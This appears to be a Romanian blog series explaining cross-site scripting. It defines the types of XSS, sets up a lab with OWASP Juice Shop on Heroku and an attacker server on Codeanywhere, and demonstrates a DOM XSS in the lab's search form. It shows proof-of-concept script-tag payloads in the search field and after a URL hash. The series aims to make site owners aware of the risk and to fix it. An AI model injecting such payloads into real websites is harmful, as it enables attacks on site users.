Pentru a înțelege mai bine cum funcționează formularul de căutare, să apăsăm F12 pentru a deschide instrumentele de dezvoltare ale browserului și să facem clic pe fila Network.

Apoi, să tastăm un termen de căutare în bara de cautare, cum ar fi Apple, și să facem clic pe butonul Search.
După ce faceți clic pe buton, vom putea observa că pagina web nu se actualizeaza. În schimb, putem vedea în fila de rețea că a fost efectuată o cerere HTTP folosind codul JavaScript.

Un alt lucru interesant pe care l-am observat este că, deși pagina web nu s-a actualizat, termenul de căutare Apple este afișat lângă cuvintele Search results pe ecran.

Prin urmare, există cod JavaScript pe partea de client care modifica conținutul paginii. Dacă facem clic pe Request, vom putea vedea adresa URL a cererii:

https://h9demoxss-juice-shop.herokuapp.com/rest/product/search?q=apple

Aceste date sunt solicitate si primite folosind cod JavaScript pe partea de client. Intrucât pagina nu se actualizeaza, știm că datele sunt procesate utilizând cod JavaScript pe partea client. Deci, dacă gasim o vulnerabilitate care ar conduce la un atac de tip Cross-site scripting, tipul XSS va fi bazat pe DOM.

Există mai multe moduri de a insera cod JavaScript într-un site web, dar probabil una dintre cele mai cunoscute este utilizarea etichetelor <script> în limbajul HTML. Să încercăm să introducem in formularul de cautare un Pop-up simplu de alertă pe care majoritatea o folosesc pentru testare. Tastăm urmatorul cod în formularul de căutare și apoi apăsăm butonul Search:

<script>alert(‘Xss’)</script>

Și după cum putem vedea, codul JavaScript se executa declanșând un pop-up de alertă:

Aceasta inseamnă că dezvoltatorul nu numai că nu filtrează Input-ul pe care l-am completat in formularul de cautare, dar nu filtreaza caractere precum < sau > înainte de a afișa codul in pagina.

După ce faceți clic pe butonul OK, puteti vedea că acel cod pe care l-am tastat este încorporat în sursa paginii (View source).

Toate datele introduse de utilizator ar trebui să fie validate, inainte de a fi afisate.

Categorii
devirusare site

Anatomia unui atac Cross Site scripting – partea II

Pregatirea mediului de lucru

Pentru a face acest demo, trebuie să configurăm mai întâi mediul. Ca aplicație web vulnerabilă, vom instala OWASP Juice Shop versiunea 7.5 pe Heroku, iar pentru exemplificarea serverului web al atacatorului vom folosi Codeanywhere. Am ales aceste resurse deoarece ambele servicii sunt destul de simple in utilizare și nu necesită card de credit în procesul de înscriere.

Să începem prin a instala OWASP Juice Shop pe Heroku.

Heroku

Pe site-ul Heroku:

https://www.heroku.com/

apasa click pe SIGN UP FOR FREE button:

Mai departe, completam formularul de inscriere si apasam pe CREATE FREE ACCOUNT:

Dupa ce apasam butonul de creare a contului, urmatorul ecran va solicita sa ne confirmam adresa de email:

Mai departe, pentru a activa contul Heroku, trebuie sa accesam link-ul primit in email-ul de confirmare:

Urmatorul pas este de a ne seta parola, dupa care apasati click pe butonul SET PASSWORD AND LOGIN:

In final, apasa click pe butonul CLICK HERE TO PROCEED pentru a te loga in contul Heroku:

Am parcurs intreg procesul de deschidere a unui cont Heroku.

Urmatorul pas este instalarea OWASP Juice Shop version 7.5 in contul Heroku deschis mai sus.

OWASP Juice Shop

OWASP Juice Shop poate fi gasit aici: https://github.com/bkimminich/juice-shop/tree/276cb977.3a70a.3fa471c4.3be66c4de4c21024c1.3

Pentru a instala in contul Heroku, mergeti pe link-ul de mai sus si cautati in partea de jos butonul “Deploy to Heroku” pe care apasati click:

Dupa ce apasati pe buton, veti fi redirectionati pe site-ul Heroku. Apoi va trebui sa dati click pe butonul “Deploy app”:

Urmeaza procesul de building, dupa care veti avea acces la butonul “View”:

Dupa ce accesati butonul View veti putea vedea live aplicatia OWASP Juice Shop.

Daca veti avea nevoie sa opriti aplicatia, puteti accesa butonul “Manage App” si ulterior “Maintenance Mode” in pozitia On/Off.

Vom lasa Maintenance mode off, pentru a putea folosi aplicatia OWASP Juice Shop mai departe in demersul nostru.

Codeanywhere

Mai departe, vom instala codeanywhere.

Acesta poate fi gasit aici: https://codeanywhere.com/

Click pe butonul Signup si apoi pe Free Trial:

Urmeaza confirmarea adresei de email si verificarea acesteia. Dupa aceea vom accesa editorul urmand butonul CLICK TO GO STRAIGHT TO EDITOR.

Se va deschide un Wizard. Dintre optiunile posibile vom alege PHP on Ubuntu 16.04. Vom da acestui mediu un nume, si la final vom incheia procesul de instalare accesand CREATE Link.

La finalul acestui proces vom avea un server Apache up and running.

Astfel, am terminat instalarea celor trei componente necesare mediului de demo pentru Cross-site scripting.

Categorii
devirusare site

Anatomia unui atac Cross Site scripting – partea I

Introducere

Comunicarea este esențială pentru creșterea gradului de conștientizare a proprietarilor de site-uri și pentru ai ajuta să înțeleagă de ce este important să remedieze vulnerabilitățile prezente în site-urile lor.

Ceea ce am observat până acum, când raportam vulnerabilități web printr-un raport, este că acestia nu iau suficient in serios aceste rapoarte. Se impune sa tot mai des sa-i arătatm clientului sau echipei de dezvoltatori a clientului, exemple reale cu privire la modul în care un atacator poate profita de o vulnerabilitate pentru a compromite confidențialitatea, integritatea și / sau disponibilitatea datelor lor.

În cazul atacului de tip Cross-site scripting, atacul vizează cel mai important activ al lor, si anume clienții. Creșterea gradului de conștientizare și ajutarea unui client să înțeleagă ce riscuri sunt asociate cu o astfel de vulnerabilitate, cred ca sunt foarte importante atunci când vine vorba de prevenirea atacurilor impotriva aplicațiilor web.

Așadar, în acest articol, în loc să arăt doar un text “Proof of concept” și apoi o grămadă de text care descrie impactul atacurilor Cross-site scripting, voi face un demo care cred ca va ajuta sa prezint mai bine impactul pe care-l are un atac Cross-site scripting, proprietarilor de site-uri și echipelor lor de dezvoltatori.

Vom incepe prin a face o scurtă introducere a atacurilor de tip Cross-site scripting și apoi vom coda un exemplu ușor, reproductibil, care sper să demonstreze cat de important este să remediați vulnerabilitatile de acest tip.

Cross-Site Scripting attacks

Un atac de tip Cross-site scripting, cunoscut și sub numele de atac XSS, se întâmplă atunci când cineva este in situatia să exploateze o vulnerabilitate într-o aplicație / site pentru a rula cod JavaScript în browserul web al victimei.

Atacurile XSS ar trebui au loc deoarece browserele nu aplică principiul celui mai mic privilegiu și acordă tuturor scripturilor de pe un site același nivel de privilegii, indiferent de unde provine scriptul sau cine l-a pus acolo, Codul JavaScript al atacatorului va primi aceleași privilegii ca scripturile legitime din site-ul web.

Printr-un cod JavaScript malicios se poate controla orice din ceea ce poate face un browser, cum ar fi: schimbarea aspectului vizual al unui site, modificarea adresei URL, adăugarea și ștergerea intrărilor din istoricul browserului web, efectuarea acțiunilor în numele unui utilizator autentificat sau descărcarea și executarea JavaScript rău intenționat de pe orice alt server web.

Sunt trei tipuri de atac Cross-site scripting:

Stored

Se întâmplă atunci când vulnerabilitatea permite atacatorului să stocheze codul JavaScript în baza de date a aplicațiilor web. Acesta este cel mai prost scenariu, deoarece atacul va viza toți utilizatorii care vizitează partea afectată a site-ului web. De exemplu, gândiți-vă la un magazin online, dacă vulnerabilitatea se găsește în câmpul de comentarii al unui produs, atacul va viza toți utilizatorii care vizitează pagina produsului.

Reflected

Se întâmplă atunci când vulnerabilitatea permite atacatorului să execute codul JavaScript inclus într-o cerere HTTP. Codul JavaScript poate fi inserat într-un antet HTTP, parametru șir de interogare sau parametru body. De exemplu, gândiți-vă din nou la un magazin online care are un formular de căutare vulnerabil; dacă în loc să caute un produs, un utilizator introduce cod JavaScript ca termen de căutare, iar termenul de căutare este afișat pe ecran după efectuarea căutării, codul JavaScript care a fost injectat ca termen de căutare va fi executat.

DOM based

Se întâmplă atunci când există o vulnerabilitate în codul JavaScript al site-ului web care permite atacatorului să-l manipuleze și să execute propriul său cod JavaScript. Poate fi reflectat sau stocat.

Vulnerabilitatea care duce la atacuri DOM-XSS nu se află în codul din partea serverului care gestionează cererea HTTP, ci în codul client al aplicației web.

De exemplu, gândiți-vă la o secțiune de documentare a unei aplicații web sau a unei cărți online; s-ar putea să existe un index care, după ce este dat clic, ne duce la o parte specifică a documentației fără a reîmprospăta pagina sau a face nicio solicitare HTTP. În unele dintre aceste cazuri, când numele secțiunii apare în URL după un simbol #, ceea ce face de obicei aplicația este să identifice conținutul după simbolul hash:

https://anawesome.book/#chapten

În acest exemplu, capitolul 1 ne duce în acea parte a paginii. Dacă schimbăm conținutul după # cu un cod JavaScript:

https://anawesome.book/# <script> console.log („exemplu”) </script>

ar putea duce la executarea codului JavaScript dacă nu există validare.

La sfarsitul acestui articol sunt prezentate cateva resurse si tutoriale care va vor ajuta sa intelegeti mai bine atacurile Cross-site scripting.